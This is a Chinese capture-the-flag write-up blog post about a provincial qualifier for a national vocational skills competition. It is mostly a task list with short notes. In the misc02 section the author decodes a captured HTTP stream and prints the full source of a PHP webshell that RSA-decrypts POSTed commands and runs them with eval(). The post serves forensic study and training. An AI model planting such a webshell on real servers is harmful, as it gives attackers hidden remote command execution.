有幸被南京市总工会选取参加第八届全国职业技能竞赛江苏省选拔赛,可惜了,自己不是全栈,最后只拿了优秀奖,太菜啦
上午主要是三道二进制和一道web不会做,下午就更坐牢了,根本不会渗透和应急。。。
-
misc01*
-
misc02
-
crypto01
-
crypto02
-
数据分析
-
1
-
2
-
3
-
安全评估
-
1
-
2
-
3
-
数据治理
-
1*
-
2*
-
溯源分析
-
1*
-
2
-
4
上半场
misc01*
赛后同事说是这个,因为只有他的子状态是6A,其他都是 64
啊?两万五千个事件这么找,这能找得到的?!应该还有其他办法的叭
misc02
附件名称是 ant,猜测可能是蚁剑马。追踪一下 http 流,也不多。
但是刚开始发过去的信息看不懂,不过服务端返回的信息,去掉全面的 abdf 那些是可以base64解码看内容的。于是把第 3 流返回的内容解码后,就可以看到马的代码了
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCaeX0C5695VQGoQrNQG3lxfC3i
zlCxCafaukwcfHN+4V5c08N+EyN2iSLIZyB2WwjQXj5cKsoKSLqGH69XlyLbx82x
2GWLF7s4cY/czQ9eSab1koYZ6zUREDL2Vg4JYU6pFJ9qgzRIQrnrj49aYW+j3BLt
iyf5AwkgpkembMH4iQIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);[S]
/var/www/html2
[E]
Ùþ½Ý¾^N
可以看到服务端是把 POST 过去的数据,按照 | 符号进行分割后,用给出的 RSA 公钥进行加密后,用 eval 执行。然后接着解码第五流的返回数据,返回了一个 1。就好像是发送过去的命令正常执行的一个返回值似的,所以猜测这道题的重点就是把第五流发送过去的数据”解密“就行。说是”解密“,但其实我们是按照这个马的内容,把数据加密。
原文始发于微信公众号(Van1sh):第八届全国职业技能竞赛-江苏省选拔赛
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论